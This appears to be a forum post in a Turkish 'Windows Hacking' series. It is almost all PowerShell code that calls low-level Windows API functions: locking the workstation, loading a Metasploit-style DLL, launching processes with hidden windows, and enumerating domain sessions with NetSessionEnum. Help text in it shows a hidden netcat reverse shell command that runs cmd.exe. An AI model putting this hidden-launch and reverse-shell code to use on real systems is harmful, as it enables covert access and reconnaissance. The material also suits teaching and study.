Windows Hacking Serisi #5 | PowerShell'den Düşük Seviye Windows API'ına Erişim

[COLOR="plum"] int WINAPI MessageBox(
  _In_opt_ HWND    hWnd,
  _In_opt_ LPCTSTR lpText,
  _In_opt_ LPCTSTR lpCaption,
  _In_     UINT    uType
); [/COLOR]

 [COLOR="plum"]Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
 
public static class User32
{
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
        public static extern bool MessageBox(
            IntPtr hWnd,     /// Parent window handle 
            String text,     /// Text message to display
            String caption,  /// Window caption
            int options);    /// MessageBox type
}
"@
 
[User32]::MessageBox(0,"Text","Caption",0) |Out-Null [/COLOR]

 [COLOR="plum"][User32]::MessageBox(0,"Text","Caption",0x4)[/COLOR]

[COLOR="plum"] [Kernel32]::LoadLibrary                 # Load DLL
    |___[Kernel32]::GetProcAddress      # Get function pointer
           |___[User32]::CallWindowProc # Call function[/COLOR]

[COLOR="plum"] function Instantiate-LockDown {
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
     
    public static class Kernel32
    {
        [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
            public static extern IntPtr LoadLibrary(
                [MarshalAs(UnmanagedType.LPStr)]string lpFileName);
             
        [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
            public static extern IntPtr GetProcAddress(
                IntPtr hModule,
                string procName);
    }
     
    public static class User32
    {
        [DllImport("user32.dll")]
            public static extern IntPtr CallWindowProc(
                IntPtr wndProc,
                IntPtr hWnd,
                int msg,
                IntPtr wParam,
                IntPtr lParam);
    }
"@
     
    $LibHandle = [Kernel32]::LoadLibrary("C:\Windows\System32\user32.dll")
    $FuncHandle = [Kernel32]::GetProcAddress($LibHandle, "LockWorkStation")
     
    if ([System.IntPtr]::Size -eq 4) {
        echo "`nKernel32::LoadLibrary   --> 0x$("{0:X8}" -f $LibHandle.ToInt32())"
        echo "User32::LockWorkStation --> 0x$("{0:X8}" -f $FuncHandle.ToInt32())"
    }
    else {
        echo "`nKernel32::LoadLibrary   --> 0x$("{0:X16}" -f $LibHandle.ToInt64())"
        echo "User32::LockWorkStation --> 0x$("{0:X16}" -f $FuncHandle.ToInt64())"
    }
     
    echo "Locking user session..`n"
    [User32]::CallWindowProc($FuncHandle, 0, 0, 0, 0) | Out-Null
}[/COLOR]

[COLOR="plum"] function Instantiate-MSFDLL {
    $ScriptBlock = { 
        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
        using System.Runtime.InteropServices;
         
        public static class Kernel32
        {
            [DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)]
                public static extern IntPtr LoadLibrary(
                    [MarshalAs(UnmanagedType.LPStr)]string lpFileName);
        }
"@  
         
        [Kernel32]::LoadLibrary("C:\Users\Fubar\Desktop\calc.dll")
    }
     
    Start-Job -Name MSF_Calc -ScriptBlock $ScriptBlock
}[/COLOR]

[COLOR="plum"] BOOL WINAPI CreateProcess(
  _In_opt_    LPCTSTR               lpApplicationName,
  _Inout_opt_ LPTSTR                lpCommandLine,
  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes, --> SECURITY_ATTRIBUTES Struct
  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,  --> SECURITY_ATTRIBUTES Struct
  _In_        BOOL                  bInheritHandles,
  _In_        DWORD                 dwCreationFlags,
  _In_opt_    LP****                lpEnvironment,
  _In_opt_    LPCTSTR               lpCurrentDirectory,
  _In_        LPSTARTUPINFO         lpStartupInfo,       --> STARTUPINFO Struct
  _Out_       LPPROCESS_INFORMATION lpProcessInformation --> PROCESS_INFORMATION Struct
);[/COLOR]

 [COLOR="plum"]Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
 
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
    public IntPtr hProcess;
    public IntPtr hThread;
    public uint dwProcessId;
    public uint dwThreadId;
}
 
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
    public uint cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public uint dwX;
    public uint dwY;
    public uint dwXSize;
    public uint dwYSize;
    public uint dwXCountChars;
    public uint dwYCountChars;
    public uint dwFillAttribute;
    public uint dwFlags;
    public short wShowWindow;
    public short cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}
 
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
    public int length;
    public IntPtr lpSecurityDescriptor;
    public bool bInheritHandle;
}
 
public static class Kernel32
{
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool CreateProcess(
        string lpApplicationName,
        string lpCommandLine,
        ref SECURITY_ATTRIBUTES lpProcessAttributes, 
        ref SECURITY_ATTRIBUTES lpThreadAttributes,
        bool bInheritHandles,
        uint dwCreationFlags, 
        IntPtr lpEnvironment,
        string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo, 
        out PROCESS_INFORMATION lpProcessInformation);
}
"@
     
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
 
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
 
# SECURITY_ATTRIBUTES Struct (Process & Thread)
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
 
# CreateProcess --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
 
# Call CreateProcess
[Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null   [/COLOR]

[COLOR="plum"] PS C:\Users\Fubar\Desktop> . .\Invoke-CreateProcess.ps1
PS C:\Users\Fubar\Desktop> Get-Help Invoke-CreateProcess -Full

NAME
    Invoke-CreateProcess

SYNOPSIS
    -Binary            Full path of the module to be executed.

    -Args              Arguments to pass to the module, e.g. "/c calc.exe". Defaults
                       to $null if not specified.

    -CreationFlags     Process creation flags:
                         0x00000000 (NONE)
                         0x00000001 (DEBUG_PROCESS)
                         0x00000002 (DEBUG_ONLY_THIS_PROCESS)
                         0x00000004 (CREATE_SUSPENDED)
                         0x00000008 (DETACHED_PROCESS)
                         0x00000010 (CREATE_NEW_CONSOLE)
                         0x00000200 (CREATE_NEW_PROCESS_GROUP)
                         0x00000400 (CREATE_UNICODE_ENVIRONMENT)
                         0x00000800 (CREATE_SEPARATE_WOW_VDM)
                         0x00001000 (CREATE_SHARED_WOW_VDM)
                         0x00040000 (CREATE_PROTECTED_PROCESS)
                         0x00080000 (EXTENDED_STARTUPINFO_PRESENT)
                         0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
                         0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
                         0x04000000 (CREATE_DEFAULT_ERROR_MODE)
                         0x08000000 (CREATE_NO_WINDOW)

    -ShowWindow        Window display flags:
                         0x0000 (SW_HIDE)
                         0x0001 (SW_SHOWNORMAL)
                         0x0001 (SW_NORMAL)
                         0x0002 (SW_SHOWMINIMIZED)
                         0x0003 (SW_SHOWMAXIMIZED)
                         0x0003 (SW_MAXIMIZE)
                         0x0004 (SW_SHOWNOACTIVATE)
                         0x0005 (SW_SHOW)
                         0x0006 (SW_MINIMIZE)
                         0x0007 (SW_SHOWMINNOACTIVE)
                         0x0008 (SW_SHOWNA)
                         0x0009 (SW_RESTORE)
                         0x000A (SW_SHOWDEFAULT)
                         0x000B (SW_FORCEMINIMIZE)
                         0x000B (SW_MAX)

    -StartF            Bitfield to influence window creation:
                         0x00000001 (STARTF_USESHOWWINDOW)
                         0x00000002 (STARTF_USESIZE)
                         0x00000004 (STARTF_USEPOSITION)
                         0x00000008 (STARTF_USECOUNTCHARS)
                         0x00000010 (STARTF_USEFILLATTRIBUTE)
                         0x00000020 (STARTF_RUNFULLSCREEN)
                         0x00000040 (STARTF_FORCEONFEEDBACK)
                         0x00000080 (STARTF_FORCEOFFFEEDBACK)
                         0x00000100 (STARTF_USESTDHANDLES)

SYNTAX
    Invoke-CreateProcess [-Binary] <String> [[-Args] <String>] [-CreationFlags] <Int32> [-ShowWindow]
    <Int32> [-StartF] <Int32> [<CommonParameters>]


DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None


PARAMETERS
    -Binary <String>

        Required?                    true
        Position?                    1
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -Args <String>

        Required?                    false
        Position?                    2
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -CreationFlags <Int32>

        Required?                    true
        Position?                    3
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -ShowWindow <Int32>

        Required?                    true
        Position?                    4
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -StartF <Int32>

        Required?                    true
        Position?                    5
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer and OutVariable. For more information, type,
        "get-help about_commonparameters".

INPUTS

OUTPUTS

    -------------------------- EXAMPLE 1 --------------------------

    Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW

    C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1
           -StartF 0x1


    -------------------------- EXAMPLE 2 --------------------------

    Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW

    C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e
           C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1[/COLOR]

[COLOR="plum"] function Invoke-NetSessionEnum {
<#
.SYNOPSIS
 
    Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines.
 
.DESCRIPTION
 
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
 
.EXAMPLE
    C:\PS> Invoke-NetSessionEnum -HostName SomeHostName
 
#>
 
    param (
        [Parameter(Mandatory = $True)]
        [string]$HostName
    )  
 
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
     
    [StructLayout(LayoutKind.Sequential)]
    public struct SESSION_INFO_10
    {
        [MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
        [MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
        public uint SessionTime;
        public uint IdleTime;
    }
     
    public static class Netapi32
    {
        [DllImport("Netapi32.dll", SetLastError=true)]
            public static extern int NetSessionEnum(
                [In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
                [In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
                [In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
                Int32 Level,
                out IntPtr bufptr,
                int prefmaxlen,
                ref Int32 entriesread,
                ref Int32 totalentries,
                ref Int32 resume_handle);
                 
        [DllImport("Netapi32.dll", SetLastError=true)]
            public static extern int NetApiBufferFree(
                IntPtr Buffer);
    }
"@
     
    # Create SessionInfo10 Struct
    $SessionInfo10 = New-Object SESSION_INFO_10
    $SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
    $SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this ;))
     
    # NetSessionEnum params
    $OutBuffPtr = [IntPtr]::Zero # Struct output buffer
    $EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle
    $CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)
     
    if ($CallResult -ne 0){
        echo "Mmm something went wrong!`nError Code: $CallResult"
    }
     
    else {
     
        if ([System.IntPtr]::Size -eq 4) {
            echo "`nNetapi32::NetSessionEnum Buffer Offset  --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
        }
        else {
            echo "`nNetapi32::NetSessionEnum Buffer Offset  --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
        }
         
        echo "Result-set contains $EntriesRead session(s)!"
     
        # Change buffer offset to int
        $BufferOffset = $OutBuffPtr.ToInt64()
         
        # Loop buffer entries and cast pointers as SessionInfo10
        for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
            $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
            $Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
            $Info
            $BufferOffset = $BufferOffset + $SessionInfo10StructSize
        }
         
        echo "`nCalling NetApiBufferFree, no memleaks here!"
        [Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
    }
}[/COLOR]